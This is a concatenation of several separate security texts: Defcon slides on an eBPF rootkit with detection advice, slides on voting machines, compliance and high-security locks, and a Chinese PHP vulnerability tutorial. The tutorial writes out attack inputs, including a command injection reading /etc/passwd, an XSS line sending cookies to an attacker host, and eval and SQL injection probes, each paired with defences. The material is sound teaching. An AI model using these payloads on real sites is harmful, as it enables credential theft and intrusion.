Usually used to monitor & secure network
access at the container / pod level on k8s
Network packets can be hidden from the
Kernel entirely !
Defcon 2021
34
Abusing eBPF to build a rootkit
Command and control: choosing a program type
BPF_PROG_TYPE_XDP
BPF_PROG_TYPE_SCHED_CLS
❏
Deep Packet Inspection
❏
Ingress only
❏
Can be offloaded to the NIC / driver
❏
Can drop, allow, modify and retransmit
packets
❏
Usually used for DDOS mitigation
❏
Deep Packet Inspection
❏
Egress and Ingress
❏
Attached to a network interface
❏
Can drop, allow and modify packets
❏
Usually used to monitor & secure network
access at the container / pod level on k8s
Network packets can be hidden from the
Kernel entirely !
Data can be exfiltrated with an eBPF TC
classifier !
Defcon 2021
35
Abusing eBPF to build a rootkit
Command and control: hijacking HTTP requests
Defcon 2021
36
Abusing eBPF to build a rootkit
Demo
Sending Postgres credentials over C&C
Command and control: hijacking HTTP requests
Defcon 2021
37
Abusing eBPF to build a rootkit
Data exfiltration
Defcon 2021
38
Abusing eBPF to build a rootkit
Data exfiltration
●
Multiple program types can share data through eBPF maps
●
Anything accessible to an eBPF program can be exfiltrated:
○
File content
○
Environment variables
○
Database dumps
○
In-memory data
○
etc
Defcon 2021
39
Abusing eBPF to build a rootkit
Demo
Exfiltration over HTTPS
Postgres credentials & /etc/passwd
Data exfiltration
Defcon 2021
40
Abusing eBPF to build a rootkit
DNS spoofing
The same technique applies to any unencrypted
network protocol ...
Defcon 2021
41
Abusing eBPF to build a rootkit
Network discovery
●
Discover machines and services on the network
●
2 methods
●
Activated through Command and Control
Defcon 2021
Passive network discovery
Active network discovery
42
Abusing eBPF to build a rootkit
Network discovery: passive method
Defcon 2021
●
Listen for egress and ingress traffic
●
TC & XDP
●
Discover existing network connections
●
TCP & UDP traffic (IPv4)
●
No traffic is generated
●
Doesn’t work for services which the host
is not communicating with
Passive network discovery
43
Abusing eBPF to build a rootkit
Network discovery: active method
Defcon 2021
●
ARP scanner & SYN scanner
●
XDP only
●
Discover hosts and services which the host
doesn’t necessarily talk to
⇒ XDP can’t generate packets, so we had to figure
out how to make hundreds of SYN requests ...
Active network discovery
44
Abusing eBPF to build a rootkit
Network discovery: active method
Defcon 2021
ARP request
SYN scan
Client answer
45
Abusing eBPF to build a rootkit
Network discovery: active method
Demo
Active network discovery
Defcon 2021
46
Abusing eBPF to build a rootkit
RASP evasion
●
Runtime Application Self-Protection (RASP)
●
Advanced input monitoring tool
●
Textbook example: SQL injection
○
Hook HTTP server library functions
○
Hook SQL library functions
○
Check if user controlled parameters are properly sanitized before executing a query
Defcon 2021
A RASP relies on the assumption that the application runtime has not been compromised
47
Abusing eBPF to build a rootkit
RASP evasion: SQL injection with a golang application
Defcon 2021
48
Abusing eBPF to build a rootkit
RASP evasion: SQL injection with a golang application
Defcon 2021
49
Abusing eBPF to build a rootkit
RASP evasion: SQL injection with a golang application
Demo
Bypass SQL injection protection
Defcon 2021
50
Detection and mitigation
Defcon 2021
51
Detection and mitigation
Step 1: assessing an eBPF based third party vendor
●
Audit & assessment
○
Ask to see the code ! (GPL)
○
Look for sensitive eBPF patterns:
■
program types
■
eBPF helpers
■
cross program types communication
●
Useful tool: “ebpfkit-monitor”
○
parses ELF files and extract eBPF related information
○
https://github.com/Gui774ume/ebpfkit-monitor
Defcon 2021
52
Detection and mitigation
Step 1: assessing an eBPF based third party vendor
“ebpfkit-monitor” can list eBPF programs with sensitive eBPF helpers
Defcon 2021
53
Detection and mitigation
Step 1: assessing an eBPF based third party vendor
“ebpfkit-monitor” shows suspicious cross program types communications
Defcon 2021
54
Detection and mitigation
Step 2: runtime mitigation
●
Monitor accesses to the “bpf” syscall
○
Keep an audit trail
○
“ebpfkit-monitor” can help !
●
Protect accesses to the “bpf” syscall:
○
Block bpf syscalls from unknown processes
○
Reject programs with sensitive eBPF helpers or patterns
○
Sign your eBPF programs (https://lwn.net/Articles/853489)
○
“ebpfkit-monitor” can help !
●
Prevent unencrypted network communications even within your internal network
Defcon 2021
55
Detection and mitigation
Step 3: Detection & Investigation
●
It is technically possible to write a perfect eBPF rootkit *
●
But:
○
look for actions that a rootkit would have to block / lie about to protect itself
○
(if you can) load a kernel module to list eBPF programs
○
(if you can) load eBPF programs to detect abnormal kernel behaviors
○
monitor network traffic anomalies at the infrastructure level
●
Disclaimer: our rootkit is far from perfect !
* with enough time, motivation, insanity, and absolute hatred for life.
Defcon 2021
Thanks !
“ebpfkit” source code: https://github.com/Gui774ume/ebpfkit
“ebpfkit-monitor” source code: https://github.com/Gui774ume/ebpfkit-monitor | pdf |
Climbing Everest
Voting 101
Voting in the US
• Highly decentralized:
– Federal government sets broad standards
– Each state has own laws, rules, requirements
– Elections run by counties (>3000 in US)
– Voting takes place in neighborhood precincts
• tens, hundreds or thousands per county
• Complex:
– Typical election has many races
– Precinct may have several different ballots
Feds vs. States
HAVA
Pregnant
Dimpled
Hanging
• Favorite HAVA quote:
“For States that do not use electronic
equipment to assist voters with ‘detecting
errors’, they must:
Establish a voter education program
Provide voter with instructions*
*emphasis added
Who are we?
ES&S Structure
Computerized Voting
• Direct Recording Electronic (DRE)
– specialized voting computer, typically with touch-screen interface
– records voter selections internally
• Precinct Counted Optical Scan
– voter fills out a paper ballot (fill in circles)
• ballot marking devices can assist disabled
– voter inserts ballot into precinct ballot reader, which either accepts
ballot and records vote or rejects and returns ballot to voter
• Centrally (County) Counted Optical Scan
– absentee ballots
The Horror, the Horror
Lines of Code vs. % of Market Share*
ES&S - 670000+ - > 40% market share
Premier- 334000+ - > 40% market share
Other > 20% :
Hart - 300000+
Sequoia - 800000+
*sorry, there’s no correlation
My Buffer Overfloweth
If it’s good enough for a minibar…
Only 2 for the whole country
Scanner Key Part Number #75506
Seals
Any Port in a Storm
Major Malfunction
“With a little token…”
Well… it has passwords and encryption.
“Anyone who considers arithmetical methods
of producing random digits is, of course, in
a state of sin”
-- John Von Neumann, 1951
“Random numbers should not be generated
with a method chosen at random”
-- Donald Knuth, The Art of Computer Programming Vol 2
“The best defense against logic is ignorance”
-- anon
It’s not a backdoor, it’s a feature
Photo Courtesy of Brickshelf.com
i’m in ur DRE, changin’ ur votes
Micah’s hands
Zippedy-do-dah
Penn Lion
Give me a P
Paper ballots
Whiteout
Non-read
Give me an R
Give me a U
• Give me a C -
Cast multiple votes,
Erase audit logs
Disable VVPAT
Zero Totals
IOW, *Anything*
What’s that Spell?
PRUC!
of course it may spell PRUC, but it
means…
VIRAL
PROPAGATION
Conclusions
• All academic, right?
Conclusions
• All academic, right?
• Unsafe at any speed.
Conclusions
• All academic, right?
• Unsafe at any speed
• What can you do?
Conclusions
• All academic, right?
• Unsafe at any speed
• What can you do?
– VOTE!
Conclusions
• All academic, right?
• Unsafe at any speed
• What can you do?
– VOTE!
– Become a Poll Worker
Conclusions
• All academic, right?
• Unsafe at any speed
• What can you do?
– VOTE!
– Become a Poll Worker
– Build a better system
We are going to win anyway. | pdf |
Index
Veritas Project
Computer Security Trends
Military Intelligence
American Minds
Submit HQ
Contact Us
Understanding the Security Trends Interface
So how does this thing work? Basically the premise of this study is to track increases in "chatter" (based on keywords) just like what
ECHELON, INTERPOL, or the other intelligence gathering organizations does out there. This is based on information gathered through
forums, websites, blogs, and data from various contributors. This how-to presents a quick overview of how this whole thing works.
Let's start off with a simple data mining exercise. For this one, let us search for increases in chatter on the keyword "DEFCON". This is
done by entering DEFCON in the "chatter" field and putting the mode as "manual". I'll explain later the difference between "manual"
and "computer-assisted" later as well as the "level" field. Press "Go" and you will get this:
Note that the increases in DEFCON chatter expectedly corresponds around the time for call for papers and the conference itself. Next
let's try overlaying it with something we know that is related to DEFCON, the keyword "PAPERS". Using the same instructions, we add
the word "PAPERS" in the chatter field separated by a space. Here's what we get:
The Veritas Project - Threat Intelligence
http://www.zerodays.org/veritas/howto-template.php
1 of 9
4/25/2009 8:06 PM
Note that increases in chatter on the keyword "PAPERS" happen before and after the CFP and before and after the conference itself.
Notice how closely the the increases in chatter follows. You'll notice a strange increase in "PAPER" chatter around the end of the year.
Could this be still related to DEFCON? Possibly, but let's look more closely.
The next demo will show you the "computer-assisted" mode. The computer-assisted mode let's the computer or more specifically, the
AI algorithms to determine which keywords are related to the topic we are researching. Remember, in our first search, we manually
determined that there could be a relationship between DEFCON and PAPERS. This time, we will let the computer decide for us what
keywords are related with each increase in DEFCON chatter. To do this, just type in DEFCON, leave the level to 2 and then check
"computer-assisted" as the mode. After pressing "Go" you'll get this:
The Veritas Project - Threat Intelligence
http://www.zerodays.org/veritas/howto-template.php
2 of 9
4/25/2009 8:06 PM
In this result, the algorithms running this process determined that the words on the legend located in the right hand side are those
that are the most related to the keyword DEFCON. The increases in chatter for each related word is plotted in the graph. You'll see 7
topics that the algorithm deemed are the most related, if you want to see more related keywords, you can adjust the level by
changing the "level" field. Try changing it to 5 and you'll get this:
The Veritas Project - Threat Intelligence
http://www.zerodays.org/veritas/howto-template.php
3 of 9
4/25/2009 8:06 PM
Note that there are more keywords now that the algorithms are identifying as related to DEFCON. The higher the level, the more
related keywords the algorithms tries to plot in the graph. Sometimes, this could be a bit overwhelming and due to the nature of
artificial intelligence algorithms, sometimes not entirely accurate (think Terminator and I,Robot - misinterpreting stuff like killing us
all to save the earth), so you'll have to fine tune your searches and temper it with good old human intuition and interpretation.
You'll notice that one of the related keywords that the algorithms are identifying is actually "SUBMISSIONS". To see a clearer view on
how it relates to the keyword DEFCON, we can change the mode back to "manual" and overlay it with the "DEFCON" like what we did
in "PAPERS". Here's what you'll get:
The Veritas Project - Threat Intelligence
http://www.zerodays.org/veritas/howto-template.php
4 of 9
4/25/2009 8:06 PM
Note that it is fairly similar to the "PAPERS" search except that the "SUBMISSION" increases in chatter happen after the CFP and
before the actual conference which makes sense since submissions are done before the conference starts unlike papers which could
have increases in chatter before and after the conference. Notice that we still see some unusual spikes in submission at the end and
beginning of the year which may or may not be totally related to DEFCON. One explanation of this spike could be seen in the
"computer-assisted" search that we did before. Note that another security conference appears there which is "RSA". Let's try plotting
"DEFCON", "RSA", and "SUBMISSIONS" in manual mode:
The Veritas Project - Threat Intelligence
http://www.zerodays.org/veritas/howto-template.php
5 of 9
4/25/2009 8:06 PM
Note that in this search you'll see an increase in chatter of the "RSA" keyword around April. This could be a possible hypothesis
explaining the increase in chatter on "SUBMISSIONS" on the period before that. Of course, there could be other explanations if you do
other correlations but for this view, it does make sense.
We can always say that surveillance, threat intelligence and similar activities like this one can be more art than science and depends a
lot on the analyst that does the interpretation of the chart. For example, let's do a search on "DEFCON" and "CRIME":
The Veritas Project - Threat Intelligence
http://www.zerodays.org/veritas/howto-template.php
6 of 9
4/25/2009 8:06 PM
Note that after the actual conference there is an increase in chatter on the keyword "CRIME". Obviously, it will be irresponsible to say
that the confernce promotes an increase in crime right? If I was the Central Terminator AI, then DEFCON won't be here anymore. Thus
it is safe to say that before you make conclusions, remember to do more in depth "human" research. Remember that this tool is
meant to assist you in identifying trends, not dictate what the trends are. Looking at the graph though, it is certainly an interesting
coincidence that is worth looking at.
Here's another example, this time an overlay between "DEFCON" and "BOTNET". The keyword "BOTNET" actually shows up using the
computer-assisted mode which means that it has a high correlation with the keyword "DEFCON":
The Veritas Project - Threat Intelligence
http://www.zerodays.org/veritas/howto-template.php
7 of 9
4/25/2009 8:06 PM
Note that there's a very noticeable increase in chatter on the keyword "BOTNET" around the times that "DEFCON" chatter increases
also. Aside from, this you can also go to a monthly view which shows "clusters" which are basically words that are related to each
other. This example shows the March 2009 Monthly Topic Analysis:
The Veritas Project - Threat Intelligence
http://www.zerodays.org/veritas/howto-template.php
8 of 9
4/25/2009 8:06 PM
Notice that group of words has probably has a high correlation with the DEFCON call for papers. Not too sure why Heartland appears
there too but there's probably a link that will come up with further research. Note that the words listed below the cluster can be
clicked and this will automatically be plotted in the graph in manual mode so you can see the increases in chatter for that keyword
throughout the time period available. A facility to cross-correlate and search in Google is also provided to provide the "human"
research factor that I have been mentioning throughout this how-to.
Hope my explanation made sense. Happy hunting!
Click here to go back to the study
Suggest a Topic
Want us to data mine a topic?
Send us your topic at
[email protected]
Do It Yourself
Want to learn to make these?
Jumpstart your knowledge with
these resources. Go!
Contact Us
Email: [email protected]
top
All contents © copyright 2007 Hawaii Honeynet Project and Secure-DNA. All rights reserved.
The Veritas Project - Threat Intelligence
http://www.zerodays.org/veritas/howto-template.php
9 of 9
4/25/2009 8:06 PM | pdf |
Compliance: The
Enterprise
Vulnerability
Roadmap
• • •
Weasel
Nomad Mobile Research Centre
[email protected]
Introduction
The Semi-Security State of Compliance
• Overview of Compliance Benefits and
Standards
• Things Compliance Gets Wrong
• Detrimental effects of Compliance
Compliance Benefits
• Old, hard-to-sell controls finally being
implemented
• Standardization of common controls
• Credentials for lazy people who don’t want to
work or go to school (OK, so that’s not a
benefit…)
Compliance Standards
• COBIT
• PCI DSS
• HIPAA
Compliance Standards (Cont)
• GLBA
• SOX
• ISO
• ITAF
The Psychological Impact of
Compliance on the Enterprise
• False Senses of Security
• Misinterpretations of concepts
• Budgetary and Resource Shifting and
Mayhem
• The “Pass the Audit” vs. “Secure the Systems”
Paradox
Compliance brings us a new
fingerprinting foundation
• Standards == Defined Attack Matrix
– Passwords (length, complexity, age, etc), Data
Retention, Encryption Standards, Focal Points
• Data retention
– What data is known to exist before it is even found
• Configuration Management
– Workstation, Server, Data Centers, Infrastructures
• Policy
– Policy-level weaknesses and vulnerabilities
Other Standardizations
• Encryption requirements
– standard algorithms
• No time wasted forcing non-compliant algorithms
– sensitive data flagging
• Encryption flags the “juicy stuff”
– Key management
Compliance is the Self-Devouring
Serpent
• Misrepresented/Misinterpreted Postures
• Conflict of Interests
• Governance Hypocrisies
• "Secure" vs. "Passing Audit" paradox
• Things you may not have known about
compliance boards
The Anti-Progression Trap
• Compliancy can lock organizations into “old”
technologies and architectures
– Requiring Firewalls where emerging concepts
don’t call for one
– “Anti-virus is Dead”
Notes on the "Risk Bandwagon"
• Definition
• A new mentality is evolving
– Knowing the enemy before you know who it is
Case Examples
Conclusion
Q&A
Credits
Links | pdf |
No MAS:
Mike Davis
(misadventures in high security lock design)
Introduction
• I Hack stuff for IOActive
Weird embedded stuff
• Amateur lock picker
I’m not very good
• Pretty good understanding of how the pixies flow
• I’m not interested in hacking one thing, I want to hack all
of the things.
2
Todays plan
• We’re going to (try to) think like a lock vendor
• Quick look at the evolution of ”High Security” lock design
and a look at the seemingly pervasive flaw that these design
requirements and decisions lead to.
• Look at how the same flaw keeps expressing itself.
• Discuss responsible cdisclosure a bit
3
Design Requirements!
• Lock
• Electronic
• Audit trail
• Long lived power solution
Replacing batteries isn’t really an option.
• Permissions systems not entirely related to physical possession of
the key
• Drop-in replacement for the traditional mechanisms.
Mmm physical constraints…
• More secure-er then traditional (mechanical) designs!
Because… electronic!
4
Lock Design
6
Lock Design + Security
7
Cyberlock
8
“As the CyberLock is directly powered through the communications port, it appears that an SPA (power
analysis) attack may succeed against a CyberLock in-situ, as the lock leaks a significant power side-channel
to any potential “key” as the processor slowly clocks the key across an I2C bus at the Fcpu/4 bps. However,
this approach seems somewhat overboard given the existing issues.”
-IOActive Cyberlock Advistory
Cyberlock – power hungry
• I Hack stuff for IOActive
9
Some lessons learned
• Pluses
Drop in replacements for classical design
Locks don’t need batteries
Audit trails and permission systems
• Minuses
Bullshit crypto
Reliant on external power
Could not be fixed
10
A Quick Tangent
11
Yet Another Design
• I Hack stuff for IOActive
12
Some lessons learned
• Pluses
Cheap
Battery failure doesn’t kill safe
• Minuses
Still reliant on external power
Introduction of secondary side-channels (beep)
13
Another quick Tangent
14
15
“So, here’s where the money is stored in an ATM, as you can see it's protected with this heavy door; which in the old
days criminals were trying to break into this, so by now they are more sophisticated” – Guy I owe a beer to.
16
17
QUESTIONS?
18
No MAS:
Mike Davis
(misadventures in high security lock design
No MAS:
AuditCon
Gen2
S2000
”Encrypted”
22
The combinations, ATM, bank and master, are typically stored in encrypted form as an added security factor;
the form of encryption is not critical. The preferred encryption is to distribute the bits of a binary representation
of the combination in various locations of a memory and filling the unoccupied locations in the memory with
random binary bits to disguise the combination. Decryption involves removal of the random binary bits and
reassemblage of the remaining bits representing combination. Other encryption/decryption schemes may be
used in lieu of the preferred scheme if desired.
- Patent US5488660A
•
There is no cryptography used, there is just no room for it
•
The Locks load their personality on every single boot before accepting combinations
•
Every lock is identical with the exception of their EEPROM contents
•
Each type of lock works a bit differently
23
What exactly is encrypted?
24
[ SOFT I2C REQ ]
[
HARDWARE I2C RESPONSE ]
Soft I2C
• I Hack stuff for IOActive
25
Hardware I2C
• I Hack stuff for IOActive
26
Pop!
27
Demo!
28
“Gen2”
AuditCon
“… but what about Gen2?”
*gen2 is… interesting..
Done Right?
• Write advisory
• Do disclosure
• …DEFCON
30
Fuuuuuuu.
• Sometimes Kaba != Kaba
• We called the wrong Kaba, but they make locks too!
• From pictures of their locks found online they seem to share
the same design pattern
(https://www.keypicking.com/viewtopic.php?f=100&t=8680)
• “I believe that you will find that the X-09 design different
enough to be much more of a challenge. If you are
experimenting on an X-10 lock, you have obtained the lock
illegally and whoever from the U.S. provided / sold you the
lock will be pursued by U.S. Federal agents.”
31
32
No MAS:
Mike Davis
(misadventures in high security lock design
No MAS:
Mike Davis
(misadventures in high security lock design
X-08
X-09
37
38
WHY REDUNDANT DESIGN MATTERS..
No MAS:
Mike Davis
(misadventures in high security lock design
No MAS:
Mike Davis
(misadventures in high security lock design
But… What about the X-10?
“Based on the information presented at the meeting, it does not look like it would be
beneficial to spend any time looking at the X-10 model.”
- GSA
Questions?
[email protected]
Did I even leave time for questions? | pdf |
针对 PHP 的网站主要存在下面几种攻击方式:
1、命令注入(Command Injection)
2、eval 注入(Eval Injection)
3、客户端脚本攻击(Script Insertion)
4、跨网站脚本攻击(Cross Site Scripting, XSS)
5、SQL 注入攻击(SQL injection)
6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
7、Session 会话劫持(Session Hijacking)
8、Session 固定攻击(Session Fixation)
9、HTTP 响应拆分攻击(HTTP Response Splitting)
10、文件上传漏洞(File Upload Attack)
11、目录穿越漏洞(Directory Traversal)
12、远程文件包含攻击(Remote Inclusion)
13、动态函数注入攻击(Dynamic Variable Evaluation)
14、URL 攻击(URL attack)
15、表单提交欺骗攻击(Spoofed Form Submissions)
16、HTTP 请求欺骗攻击(Spoofed HTTP Requests)
以后的每期连载,会逐个介绍这些漏洞的原理和防御方法。
几个重要的 php.ini 选项
Register Globals
php>=4.2.0,php.ini 的 register_globals 选项的默认值预设为 Off,当 register_globals 的设定
为 On 时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于 PHP
不必事先初始化变量的值,从而导致很大的安全隐患。
例 1:
//check_admin()用于检查当前用户权限,如果是 admin 设置$is_admin 变量为 true,然后下面
判断此变量是否为 true,然后执行管理的一些操作
//ex1.php
<?php
if (check_admin())
{
$is_admin = true;
}
if ($is_admin)
{
do_something();
}
?>
这一段代码没有将$is_admin 事先初始化为 Flase,如果 register_globals 为 On,那么我们直
接提交 http://www.sectop.com/ex1.php?is_admin=true,就可以绕过 check_admin()的验证
例 2:
//ex2.php
<?php
if (isset($_SESSION["username"]))
{
do_something();
}
else
{
echo "您尚未登录!";
}
?>
当
register_globals=On
时
,
我
们
提
交
http://www.sectop.com/ex2.php?_SESSION[username]=dodo,就具有了此用户的权限
所以不管 register_globals 为什么,我们都要记住,对于任何传输的数据要经过仔细验证,变
量要初始化
safe_mode
安全模式,PHP 用来限制文档的存取、限制环境变量的存取,控制外部程序的执行。启用
安全模式必须设置 php.ini 中的 safe_mode = On
1、限制文件存取
safe_mode_include_dir = "/path1:/path2:/path3"
不同的文件夹用冒号隔开
2、限制环境变量的存取
safe_mode_allowed_env_vars = string
指定 PHP 程序可以改变的环境变量的前缀,如:safe_mode_allowed_env_vars = PHP_ ,当这个
选项的值为空时,那么 php 可以改变任何环境变量
safe_mode_protected_env_vars = string
用来指定 php 程序不可改变的环境变量的前缀
3、限制外部程序的执行
safe_mode_exec_dir = string
此选项指定的文件夹路径影响 system、exec、popen、passthru,不影响 shell_exec 和“` `”。
disable_functions = string
不同的函数名称用逗号隔开,此选项不受安全模式影响
magic quotes
用来让 php 程序的输入信息自动转义,所有的单引号(“'”),双引号(“"”),反斜杠(“\”)和空字
符(NULL),都自动被加上反斜杠进行转义
magic_quotes_gpc = On 用来设置 magic quotes 为 On,它会影响 HTTP 请求的数据(GET、
POST、Cookies)
程序员也可以使用 addslashes 来转义提交的 HTTP 请求数据,或者用 stripslashes 来删除转义
PHP 漏洞全解(二)-命令注入攻击
命令注入攻击
PHP 中可以使用下列 5 个函数来执行外部的应用程序或函数
system、exec、passthru、shell_exec、``(与 shell_exec 功能相同)
函数原型
string system(string command, int &return_var)
command 要执行的命令
return_var 存放执行命令的执行后的状态值
string exec (string command, array &output, int &return_var)
command 要执行的命令
output 获得执行命令输出的每一行字符串
return_var 存放执行命令后的状态值
void passthru (string command, int &return_var)
command 要执行的命令
return_var 存放执行命令后的状态值
string shell_exec (string command)
command 要执行的命令
漏洞实例
例 1:
//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "<pre>";
system("ls -al ".$dir);
echo "</pre>";
}
?>
我们提交 http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
提交以后,命令变成了 system("ls -al | cat /etc/passwd");
eval 注入攻击
eval 函数将输入的字符串参数当作 PHP 程序代码来执行
函数原型:
mixed eval(string code_str) //eval 注入一般发生在攻击者能控制输入的字符串的时候
//ex2.php
<?php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
当我们提交 http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了
动态函数
<?php
func A()
{
dosomething();
}
func B()
{
dosomething();
}
if (isset($_GET["func"]))
{
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
程 序
员 原 意 是
想 动 态 调
用
A
和
B
函 数
, 那 我 们
提 交
http://www.sectop.com/ex.php?func=phpinfo 漏洞产生
防范方法
1、尽量不要执行外部命令
2、使用自定义函数或函数库来替代外部命令的功能
3、使用 escapeshellarg 函数来处理命令参数
4、使用 safe_mode_exec_dir 指定可执行文件的路径
esacpeshellarg 函数会将任何引起参数或命令结束的字符转义,单引号“'”,替换成“\'”,双引
号“"”,替换成“\"”,分号“;”替换成“\;”
用 safe_mode_exec_dir 指定可执行文件的路径,可以把会使用的命令提前放入此路径内
safe_mode = On
safe_mode_exec_di r= /usr/local/php/bin/
PHP 漏洞全解(三)-客户端脚本植入
客户端脚本植入(Script Insertion),是指将可以执行的脚本插入到表单、图片、动画或超链接
文字等对象内。当用户打开这些对象后,攻击者所植入的脚本就会被执行,进而开始攻击。
可以被用作脚本植入的 HTML 标签一般包括以下几种:
1、<script>标签标记的 javascript 和 vbscript 等页面脚本程序。在<script>标签内可以指定 js
程序代码,也可以在 src 属性内指定 js 文件的 URL 路径
2、<object>标签标记的对象。这些对象是 java applet、多媒体文件和 ActiveX 控件等。通常
在 data 属性内指定对象的 URL 路径
3、<embed>标签标记的对象。这些对象是多媒体文件,例如:swf 文件。通常在 src 属性内指
定对象的 URL 路径
4、<applet>标签标记的对象。这些对象是 java applet,通常在 codebase 属性内指定对象的 URL
路径
5、<form>标签标记的对象。通常在action 属性内指定要处理表单数据的 web应用程序的 URL
路径
客户端脚本植入的攻击步骤
1、攻击者注册普通用户后登陆网站
2、打开留言页面,插入攻击的 js 代码
3、其他用户登录网站(包括管理员),浏览此留言的内容
4、隐藏在留言内容中的 js 代码被执行,攻击成功
实例
数据库
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default '',
`name` varchar(40) NOT NULL default '',
`email` varchar(25) NOT NULL default '',
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00',
PRIMARY KEY
(`id`)
) ENGINE=MyISAM
DEFAULT CHARSET=gb2312 COMMENT=' 使 用 者 的 留 言 '
AUTO_INCREMENT=69 ;
//add.php 插入留言
//list.php 留言列表
//show.php 显示留言
程序和数据库打包下载地址
点我下载
提交下图的留言
浏览此留言的时候会执行 js 脚本
插入 <script>while(1){windows.open();}</script> 无限弹框
插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面
或者使用其他自行构造的 js 代码进行攻击
防范的方法
一般使用 htmlspecialchars 函数来将特殊字符转换成 HTML 编码
函数原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要编码的字符串
quote_style 可选 , 值可为 ENT_COMPAT、ENT_QUOTES 、ENT_NOQUOTES ,默认值
ENT_COMPAT,表示只转换双引号不转换单引号。ENT_QUOTES ,表示双引号和单引号都
要转换。ENT_NOQUOTES ,表示双引号和单引号都不转换
charset 可选,表示使用的字符集
函数会将下列特殊字符转换成 html 编码:
& ----> &
" ----> "
' ----> '
< ----> <
> ----> >
把 show.php 的第 98 行改成
<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?>
然后再查看插入 js 的漏洞页面
PHP 漏洞全解(四)-xss 跨站脚本攻击
XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表 css(Cascading Style Sheet)区
别,缩写为 XSS
跨站脚本主要被攻击者利用来读取网站用户的 cookies 或者其他个人数据,一旦攻击者得到
这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。
跨站脚本攻击的一般步骤:
1、攻击者以某种方式发送 xss 的 http 链接给目标用户
2、目标用户登录此网站,在登陆期间打开了攻击者发送的 xss 链接
3、网站执行了此 xss 攻击脚本
4、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
5、攻击者使用目标用户的信息登录网站,完成攻击
当 有 存 在 跨 站 漏 洞 的 程 序 出 现 的 时 候 , 攻 击 者 可 以 构 造 类 似
http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcoo
kie.php?cookie='+document.cookie;</script> ,诱骗用户点击后,可以获取用户 cookies 值
防范方法:
利用 htmlspecialchars 函数将特殊字符转换成 HTML 编码
函数原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要编码的字符串
quote_style 可选 , 值可为 ENT_COMPAT、ENT_QUOTES 、ENT_NOQUOTES ,默认值
ENT_COMPAT,表示只转换双引号不转换单引号。ENT_QUOTES ,表示双引号和单引号都
要转换。ENT_NOQUOTES ,表示双引号和单引号都不转换
charset 可选,表示使用的字符集
函数会将下列特殊字符转换成 html 编码:
& ----> &
" ----> "
' ----> '
< ----> <
> ----> >
$_SERVER["PHP_SELF"]变量的跨站
在某个表单中,如果提交参数给自己,会用这样的语句
<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
......
</form>
$_SERVER["PHP_SELF"]变量的值为当前页面名称
例:
http://www.sectop.com/get.php
get.php 中上述的表单
那么我们提交
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
那么表单变成
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
跨站脚本被插进去了
防御方法还是使用 htmlspecialchars 过滤输出的变量,或者提交给自身文件的表单使用
<form action="" method="post">
这样直接避免了$_SERVER["PHP_SELF"]变量被跨站
PHP 漏洞全解(五)-SQL 注入攻击
SQL 注入攻击(SQL Injection),是攻击者在表单中提交精心构造的 sql 语句,改变原来的 sql
语句,如果 web程序没有对提交的数据经过检查,那么就会造成 sql 注入攻击。
SQL 注入攻击的一般步骤:
1、攻击者访问有 SQL 注入漏洞的网站,寻找注入点
2、攻击者构造注入语句,注入语句和程序中的 SQL 语句结合生成新的 sql 语句
3、新的 sql 语句被提交到数据库中进行处理
4、数据库执行了新的 SQL 语句,引发 SQL 注入攻击
实例
数据库
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default '',
`name` varchar(40) NOT NULL default '',
`email` varchar(25) NOT NULL default '',
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00',
PRIMARY KEY
(`id`)
) ENGINE=MyISAM
DEFAULT CHARSET=gb2312 COMMENT=' 使 用 者 的 留 言 '
AUTO_INCREMENT=69 ;
grant all privileges on ch3.* to 'sectop'@localhost identified by '123456';
//add.php 插入留言
//list.php 留言列表
//show.php 显示留言
程序和数据库打包下载地址
点我下载
页面 http://www.netsos.com.cn/show.php?id=71 可能存在注入点,我们来测试
http://www.netsos.com.cn/show.php?id=71 and 1=1
返回页面
提交 http://www.netsos.com.cn/show.php?id=71 and 1=2
返回页面
一次查询到记录,一次没有,我们来看看源码
//show.php 12-15 行
// 执行 mysql 查询语句
$query = "select * from postmessage where id = ".$_GET["id"];
$result = mysql_query($query)
or die("执行 ySQL 查询语句失败:" . mysql_error());
参数 id 传递进来后,和前面的字符串结合的 sql 语句放入数据库进行查询
提交 and 1=1,语句变成 select * from postmessage whereid = 71 and 1=1 这语句前值后值都
为真,and 以后也为真,返回查询到的数据
提交 and 1=2,语句变成 select * from postmessage where id = 71 and 1=2 这语句前值为真,
后值为假,and 以后为假,查询不到任何数据
正常的 SQL 查询,经过我们构造的语句之后,形成了 SQL 注入攻击。通过这个注入点,我
们还可以进一步拿到权限,比如说利用 union 读取管理密码,读取数据库信息,或者用 mysql
的 load_file,into outfile 等函数进一步渗透。
防范方法
整型参数:
使用 intval 函数将数据转换成整数
函数原型
int intval(mixed var, int base)
var 是要转换成整形的变量
base,可选,是基础数,默认是 10
浮点型参数:
使用 floatval 或 doubleval 函数分别转换单精度和双精度浮点型参数
函数原型
int floatval(mixed var)
var 是要转换的变量
int doubleval(mixed var)
var 是要转换的变量
字符型参数:
使用 addslashes 函数来将单引号“'”转换成“\'”,双引号“"”转换成“\"”,反斜杠“\”转换成“\\”,
NULL 字符加上反斜杠“\”
函数原型
string addslashes (string str)
